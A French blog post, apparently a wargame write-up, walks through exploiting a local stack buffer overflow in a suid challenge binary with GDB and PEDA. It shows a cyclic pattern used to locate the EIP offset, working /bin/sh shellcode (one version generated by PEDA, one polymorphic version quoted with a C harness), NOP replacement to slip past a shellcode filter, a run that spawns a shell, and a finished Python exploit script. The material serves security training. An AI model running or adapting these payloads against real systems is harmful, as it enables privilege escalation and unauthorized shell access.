Exploitation assistée de buffer overflow avec GDB et PEDA

Aujourd’hui je me suis amusé sur une plateforme de chalenges de sécurité de type Wargame.

Si vous ne connaissez pas le principe je vous invite à lire Misc n°73 et de jeter un œil au site WeChall.

Un Wargame concrètement est un site qui vous propose de vous connecter sur un serveur SSH qui contient différents chalenges de sécurité à exploiter.

En voulant résoudre un chalenge de type “buffer overflow” j’ai découvert un outil formidable: PEDA - Python Exploit Development Assistance for GDB.

Je ne compte pas revenir sur des notions de bases du reverse engineering… Si vous ne savez pas ce qu’est un buffer overflow, le debugger GDB, le registre EIP et un opcode x86, vous risquez d’avoir du mal à suivre ce billet !

J’ai pris un exemple très simple, un programme exploitable qui prend en paramètre une entrée de type “chaine de caractères” et la colle dans un buffer trop petit.

Le programme exploitable contient une petite sécurité qui filtre la chaine en entrée afin de détecter des patterns de shellcode.

Voici les ressources que j’ai utilisé:

PEDA

PEDA est une extension de GDB qui facilite le développement d’exploit. C’est un programme python qui ajoute des commandes à GDB. Voici comment l’utiliser dans le contexte assez simple décrit précédemment. Trouver la taille du buffer pour faire crasher le programme

PEDA contient plusieurs fonctions pour trouver la taille à envoyer au programme pour provoquer le BO.

Démonstration:

gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA'
gdb-peda$ pset arg 'cyclic_pattern(200)'
gdb-peda$ pshow arg
arg[1]: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA
gdb-peda$ r
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9 
EBX: 0xb7fd6ff4 --> 0x142d7c 
ECX: 0xb7fd74c0 --> 0xfbad2a84 
EDX: 0xb7fd8340 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414741 ('AGAA')
ESP: 0xbffffbc0 ("AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x32414163 ('cAA2')
EFLAGS: 0x210246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x32414163
[------------------------------------stack-------------------------------------]
0000| 0xbffffbc0 ("AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0004| 0xbffffbc4 ("AdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0008| 0xbffffbc8 ("3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0012| 0xbffffbcc ("AAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0016| 0xbffffbd0 ("A4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0020| 0xbffffbd4 ("JAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0024| 0xbffffbd8 ("AA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0028| 0xbffffbdc ("AKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x32414163 in ?? ()
gdb-peda$ pattern_offset 0x32414163 200
843137379 found at offset: 57
gdb-peda$ pattern_search 
Registers contain pattern buffer:
EIP+0 found at offset: 57
EBP+0 found at offset: 53
Registers point to pattern buffer:
[ESP] --> offset 61 - size ~139
Pattern buffer found at:
0xb7fdf000 : offset    0 - size  200 (mapped)
0xbffffb83 : offset    0 - size  200 ($sp + -0x3d [-16 dwords])
0xbffffdbd : offset    0 - size  200 ($sp + 0x1fd [127 dwords])
References to pattern buffer found at:
0xb7fd74c4 : 0xb7fdf000 (/lib/i686/cmov/libc-2.11.3.so)
0xb7fd74c8 : 0xb7fdf000 (/lib/i686/cmov/libc-2.11.3.so)
0xb7fd74cc : 0xb7fdf000 (/lib/i686/cmov/libc-2.11.3.so)
0xb7fd74d0 : 0xb7fdf000 (/lib/i686/cmov/libc-2.11.3.so)
0xb7fd74d4 : 0xb7fdf000 (/lib/i686/cmov/libc-2.11.3.so)
0xb7fd74d8 : 0xb7fdf000 (/lib/i686/cmov/libc-2.11.3.so)
0xb7fd74dc : 0xb7fdf000 (/lib/i686/cmov/libc-2.11.3.so)
0xbffffa4c : 0xb7fdf000 ($sp + -0x174 [-93 dwords])
0xbffffa98 : 0xb7fdf000 ($sp + -0x128 [-74 dwords])
0xbffffaac : 0xb7fdf000 ($sp + -0x114 [-69 dwords])
0xbffffac4 : 0xb7fdf000 ($sp + -0xfc [-63 dwords])
0xbffffad4 : 0xb7fdf000 ($sp + -0xec [-59 dwords])
0xbffffb10 : 0xb7fdf000 ($sp + -0xb0 [-44 dwords])
0xbffffb70 : 0xbffffb83 ($sp + -0x50 [-20 dwords])
0xbffffb74 : 0xbffffdbd ($sp + -0x4c [-19 dwords])
0xbffffc98 : 0xbffffdbd ($sp + 0xd8 [54 dwords])

pattern_create 200: va créer un buffer de 200 caractères qui ne contient pas 4 octets (pour une architecture 32 bits) identiques à suivre.

pset arg ‘cyclic_pattern(200)’: positionne ce buffer en paramètre du programme à exploiter.

pshow arg: affiche l’argument passé au programme.

A cet instant on lance le programme (commande run), et le crash arrive dans le debugger.

pattern_offset 0x32414163 200 cherche la position des 4 octets de l’EIP dans le pattern passé en paramètre.

pattern_search cherche le pattern en mémoire et dans les registres.

On voit dans notre exemple que le programme crash et que la valeur de EIP sont les 4 octets en positon 57 du buffer d’entrée.

Écrire l’exploit

On aurait pu utiliser la fonction de PEDA pour générer un exploit mais le chalenge contient une sécurité qui filtre cet exploit.

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

J’ai donc pris un shellcode différent sur ce site: http://www.shell-storm.org/shellcode/files/shellcode-690.php

#include <stdio.h>
#include <string.h>

/* 
 Aodrulez's /bin/sh Null-Free Polymorphic Shellcode.
 Shellcode size : 46 bytes.
 [Special Tnx to 'Chema Garcia (aka sch3m4)']
 Tested on : Ubuntu 8.04,Hardy Heron.
 Email : f3arm3d3ar[at]gmail.com
 Author: Aodrulez. (Atul Alex Cherian)
 Blog  : [email protected]
*/


char code[] = "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
	      "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
	      "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81";

int main(int argc, char **argv)
{
	fprintf(stdout,"Aodrulez's Linux Polym0rphic Shellc0de.\nShellcode Size: %d bytes.\n",strlen(code));
        (*(void(*)()) code)();
return 0;

}


/*
Greetz Fly Out to:-
1] Amforked()    : My Mentor.
2] TheBlueGenius : My Boss ;-)
3] www.orchidseven.com
4] www.isac.org.in
5] www.Malcon.org -> World's first Malware Conference!
*/

L’Opcode de l’architecture x86 “0x90” (NOP) est aussi détecté, je l’ai remplacé par “0xF9” (SETC).

Il est aussi possible d’utiliser le langage python pour forger une chaine de caractères dans GDB:

pset arg '"A"*57 + "BBBB" + "\xF9"*500'

Explication du buffer:

  • 57 fois la lettres A pour le début du buffer qui ne sera pas executé
  • “BBBB” sera l’adresse du shellcode
  • le padding de \xF9 pour l’alignement de la pile
gdb-peda$ pset args '"A"*57 + "BBBB" + "\xF9"*500 + "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"'
gdb-peda$ r
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB...
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x260 
EBX: 0xb7fd6ff4 --> 0x142d7c 
ECX: 0xb7fd74c0 --> 0xfbad2a84 
EDX: 0xb7fd8340 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffffa30 --> 0xf9f9f9f9 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x210246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffffa30 --> 0xf9f9f9f9 
0004| 0xbffffa34 --> 0xf9f9f9f9 
0008| 0xbffffa38 --> 0xf9f9f9f9 
0012| 0xbffffa3c --> 0xf9f9f9f9 
0016| 0xbffffa40 --> 0xf9f9f9f9 
0020| 0xbffffa44 --> 0xf9f9f9f9 
0024| 0xbffffa48 --> 0xf9f9f9f9 
0028| 0xbffffa4c --> 0xf9f9f9f9 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

“BBBB” est la valeur de retour pour le shellcode. Il faut l’exécuter une première fois pour trouver la véritable adresse “0xbffffa4c” du début du shellcode.

int2hexstr(0xbffffa4c): fonction qui convertit l’adresse 0xbffffa4c en chaine de caractères.

gdb-peda$ pset args '"A"*57 + int2hexstr(0xbffffa4c) + "\xF9"*500 + "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"'
gdb-peda$ r
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB...
process 6143 is executing new program: /bin/dash

Bingo ! On a notre shellcode de lancé !

Mais PEDA ne s’arrête pas là il vous propose de générer un programme python pour exploiter votre vulnérabilité sans GDB:

skeleton argv:

gdb-peda$ skeleton argv

#!/usr/bin/env python
#
# Template for local argv exploit code, generated by PEDA
#
import os
import sys
import struct
import resource
import time

def usage():
    print "Usage: %s target_program" % sys.argv[0]
    return

def pattern(size=1024, start=0):
    try:
        bytes = open("pattern.txt").read(size+start)
        return bytes[start:]
    except:
        return "A"*size

def nops(size=1024):
    return "\x90"*size

def int2hexstr(num, intsize=4):
    if intsize == 8:
        if num < 0:
            result = struct.pack("<q", num)
        else:
            result = struct.pack("<Q", num)
    else:
        if num < 0:
            result = struct.pack("<l", num)
        else:
            result = struct.pack("<L", num)
    return result

i2hs = int2hexstr

def list2hexstr(intlist, intsize=4):
    result = ""
    for value in intlist:
        if isinstance(value, str):
            result += value
        else:
            result += int2hexstr(value, intsize)
    return result

l2hs = list2hexstr

def exploit(vuln):
    padding = pattern(0)
    payload = [padding]
    payload += ["PAYLOAD"] # put your payload here
    payload = list2hexstr(payload)
    args = [vuln, payload]
    env = {"PEDA":nops()}
    resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
    resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit(sys.argv[1])
    

Il suffit de remplacer les lignes qui génère le payload par:

payload = "A"*57 + int2hexstr(0xbffffa4c) + "\xF9"*500 + "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"

Et voilà vous avez un exploit pour la vulnérabilité de votre programme. Il suffit de lancer le programme python pour déclencher un shell avec les droits utilisateur du binaire en prime si le flag suid a été positionné :-)

Pour ce chalenge c’est finit, après avoir exploité le binaire (suid), on obtient les droits nécessaires à lecture du fichier qui contient le mot de passe de validation de l’épreuve.

Bon j’espère ne pas avoir trop dévoilé de choses pour le chalenge, mais j’ai tellement adoré LEDA que je voulais le partager ;-)

NB: Je n’ai volontairement pas indiqué de quel chalenge il s’agit, mais si vous arrivez de faire le lien avec un moteur de recherche, merci de me prévenir j’ajouterais un peu d’offuscation !